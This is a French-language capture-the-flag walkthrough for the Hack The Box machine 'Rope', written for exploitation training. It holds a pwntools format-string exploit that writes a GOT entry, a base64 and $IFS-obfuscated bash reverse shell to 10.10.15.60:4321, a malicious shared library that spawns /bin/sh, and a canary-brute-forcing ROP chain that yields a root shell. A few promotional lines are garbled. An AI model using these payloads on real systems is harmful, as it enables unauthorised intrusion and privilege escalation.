Hack The Box. Procédure pas à pas. PWN. Formater les chaînes et le ROP à l'aide de pwntools

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .

Dans cet article, nous collectons de nombreux pwn, que nous allons résoudre en utilisant pwntools. Je pense qu'il sera utile aux lecteurs ayant un niveau de sensibilisation à ce sujet. Allons-y ... La

connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur professionnel ou d'un hôte où les données importantes pour vous sont disponibles, car vous entrez dans un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP de 10.10.10.148, que j'ajoute à / etc / hosts.

10.10.10.148    rope.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 500 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.

nmap -A rope.htb -p22,9999

image

L'hôte exécute SSH et un serveur Web. Nous irons sur le Web et nous recevrons un formulaire d'autorisation.

image

Lorsque vous visualisez une analyse de répertoire, nous obtenons un répertoire non indexé / (http: //rope.htb: 9999 //).

image

Et dans le répertoire / opt / www, nous trouvons le fichier exécutable - c'est notre serveur web.

image

HTTPserver PWN


Téléchargez-le et voyez ce qu'est la protection avec checksec.

image

Ainsi, nous avons une application 32 bits avec toutes les protections activées, à savoir:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

Étant donné que nous pouvons lire des fichiers sur le serveur, nous pouvons lire la carte de processus de ce fichier exécutable. Cela nous donnera la réponse aux questions suivantes:

  1. À quelle adresse le programme est-il téléchargé?
  2. Et à quelle adresse les bibliothèques utilisées par elle sont-elles chargées?

Faisons cela.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

image

Ainsi, nous avons deux adresses: 0x56558000 et f7ddc000. En même temps, nous obtenons le chemin vers la bibliothèque libc utilisée, téléchargez-le aussi. Maintenant, en tenant compte de tout ce qui a été trouvé, nous allons créer un modèle d'exploit.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

Maintenant, ouvrez le fichier lui-même pour analyse dans un désassembleur qui vous convient (avec un décompilateur). J'utilise IDA avec un tas de plugins, et avant de m'asseoir pour une analyse approfondie, je préfère voir tout ce que je peux collecter des plugins éprouvés. LazyIDA en est un exemple parmi tant d' autres . Et pour la requête "scan format string vuln" nous obtenons une plaque avec des fonctions potentiellement vulnérables.

image

De l'expérience de l'utilisation de ce plugin, j'ai immédiatement attiré l'attention sur la deuxième ligne (son paramètre de format). Nous passons au lieu d'utilisation de cette fonction et la décompilons.

image

Et les suppositions sont confirmées, la ligne est simplement passée à la fonction printf. Voyons ce qu'est cette chaîne. Allons à l'endroit de l'appel à la fonction log_access.

image

Nous nous intéressons donc au troisième paramètre, qui marquait l'IDA en tant que fichier. Et nous obtenons des réponses à toutes les questions uniquement en examinant les références croisées à cette variable.

image

Ainsi, il s'agit d'un pointeur sur une chaîne - le nom du fichier ouvert pour la lecture. Puisque cette variable est le résultat de l'exécution de la fonction parse_request (), le fichier est ouvert pour la lecture et le programme entier est un serveur Web, nous pouvons supposer qu'il s'agit de la page demandée sur le serveur.

curl http://127.0.0.1:9999/qwerty

image

Vérifions la vulnérabilité de chaîne de format.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

image

Bien! Définissons le décalage (combien de spécificateurs% p doivent être envoyés pour obtenir 0x41414141 - AAAA à la fin de la sortie).

image

Nous obtenons 53. Vérifiez que tout est correct.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

image

Nous ne pouvons pas obtenir un shell local, mais nous pouvons exécuter une commande, par exemple, lancer un shell inverse:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

Mais pour éviter tout caractère inconfortable, nous allons l'encoder en base64, puis l'appel shell ressemblera à ceci:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

Et à la fin, remplacez tous les espaces par la construction $ IFS. Nous obtenons la commande que vous devez exécuter pour rétablir la connexion.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Ajoutons ceci au code:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Revenons maintenant à notre chaîne de format. Puisque putf est appelé après printf (), nous pouvons réécrire son adresse dans GOT à l'adresse de la fonction système à partir de libc. Grâce à pwntools, c'est très facile à faire. Supposons que vous pouvez obtenir l'adresse relative de la fonction put en utilisant binary.got ['put'], également facilement avec la fonction system: libc.symbols ['system']. À propos des lignes de format et GOT J'ai décrit en détail dans les articles sur pwn, donc ici nous collectons simplement la ligne de format à l'aide de pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

Nous collectons la charge utile finale:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

Nous nous connectons et envoyons:

p = remote(host,port)
p.send(payload)
p.close()

Le code complet ressemble à ceci.

image

Exécutons le code et récupérons la connexion.

image

image

UTILISATEUR


Vérifions les paramètres sudo pour exécuter des commandes sans mot de passe.

image

Et nous voyons que vous pouvez exécuter des readlogs au nom de l'utilisateur r4j. Il n'y a pas de vulnérabilités dans l'application, les GTFOBins sont également absents. Voyons les bibliothèques utilisées par l'application.

image

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

image

Autrement dit, nous pouvons écrire dans ces fichiers. Écrivons notre bibliothèque.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

Maintenant, compilez-le.

gcc -c -Wall -Werror -fpic liblog.c

Et récupérez la bibliothèque.

Gcc -shared -o liblog.so liblog.o

Ensuite, nous téléchargeons le fichier sur l'hôte, écrasons la bibliothèque et exécutons le programme.

image

Nous prenons donc l'utilisateur.

RACINE


Pour lister le système, nous utilisons des linpeas.

image

Ainsi sur l'hôte local, le port 1337 écoute.

image

Comme vous pouvez le voir, notre utilisateur est membre du groupe adm. Jetons un coup d'œil aux fichiers disponibles pour ce groupe.

image

Il y a un dossier intéressant. Et c'est le programme qui écoute sur le port.

image

Dans ce cas, l'application s'exécute en tant que root.

image

Téléchargez l'application elle-même et la bibliothèque libc qu'elle utilise. Et notez que ASLR est actif sur l'hôte.

image

Vérifiez la protection de l'application.

image

Tout au maximum. Autrement dit, si nous trouvons un débordement de tampon, nous devrons brutaliser le canari (la valeur qui est vérifiée avant de quitter la fonction pour vérifier l'intégrité du tampon), et comme technique pour exploiter la vulnérabilité, nous utiliserons ROP (à propos duquel j'ai écrit en détailici ). Ouvrons le programme dans n'importe quel désassembleur avec un décompilateur qui vous convient (j'utilise IDA Pro). Nous décompilons la fonction principale main.

image

Un exemple de canari est la variable v10, qui est définie au début d'une fonction. Voyons de quoi la fonction sub_1267 est responsable.

image

Nous ouvrons donc ici le port d'écoute. Vous pouvez le renommer en is_listen (); nous allons plus loin. La fonction définie par l'utilisateur suivante est sub_14EE.

image

Avant l'envoi, il existe une autre fonction utilisateur. Nous la regardons.

image

Ainsi, dans cette fonction, une chaîne jusqu'à 0x400 octets est reçue et écrite dans le tampon. Le commentaire sur la variable buf indique l'adresse par rapport à la base de la trame de pile actuelle (rbp) - [rbp-40h], et la variable v3 (canary) a une adresse relative [rbp-8h], donc pour un dépassement de tampon, nous avons besoin de plus [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 octets.

Ainsi, le plan est le suivant:

  1. trouver et déborder le tampon;
  2. déposer le canari, rbp et rip;
  3. puisque PIE est activé, vous devez trouver le décalage réel;
  4. trouver une fuite de mémoire pour calculer l'adresse à laquelle la bibliothèque est chargée;
  5. Collectez le ROP, dans lequel le flux de descripteurs standard sera redirigé vers le descripteur de réseau du programme, puis appelez / bin / sh via la fonction système.

1. dépassement de tampon


Comme on peut le voir ci-dessous, lors de la transmission de 56 octets, le programme continue de fonctionner normalement, mais en passant 57 octets, nous obtenons une exception. Ainsi, l'intégrité du tampon est violée.

image

Faisons un modèle d'exploit. Puisqu'il sera nécessaire de trier et de se reconnecter beaucoup, nous désactiverons la sortie des messages pwntools (log_level).

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canary, RBP, RIP


Comme nous l'avons compris, après 56 octets du tampon, il y a un canari, et après cela, il y a des adresses RBP et RIP dans la pile, qui doivent également être triées. Écrivons une fonction de correspondance de 8 octets.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

On peut donc composer une pré_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.TARTE


Passons maintenant à la TARTE. Nous avons trouvé RIP - c'est l'adresse de retour où nous revenons de la fonction. Ainsi, nous pouvons en soustraire l'adresse de retour dans le code.

image

Ainsi, le décalage par rapport à la base est 0x1562. Indiquons la véritable adresse de l'application en cours d'exécution.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4. fuite de mémoire


L'application utilise la fonction standard write () pour afficher la chaîne d'invite, qui prend un handle vers la sortie, un tampon et sa taille. Nous pouvons utiliser cette fonction.

Pour plus de commodité, utilisons le module ROP de pwntools. En bref, comment et pourquoi cela fonctionne est présenté dans l'image ci-dessous.

image

Obtenons une fuite, cela nous permettra de savoir quelle est l'adresse de la fonction d'écriture dans la bibliothèque libc chargée.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


Modifions l'adresse de base de la bibliothèque libc et trouvons l'adresse de la ligne / bin / sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

Il reste à collecter le ROP, dans lequel les descripteurs d'E / S standard (0,1,2) seront redirigés vers le descripteur enregistré dans le programme (4). Après quoi la fonction système sera appelée, où nous passerons l'adresse de la ligne / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Opération
Code d'exploitation complet.

image

Maintenant sur le serveur, écrivez la clé ssh dans le fichier /home/r4j/.ssh/authorizef_keys.

image

Et transférez le port (assurez-vous que la connexion du port local 1337 est redirigée via SSH vers le port 1337 de l'hôte distant).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

Et lancez l'exploit.

image

Nous travaillons sous la racine.

Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles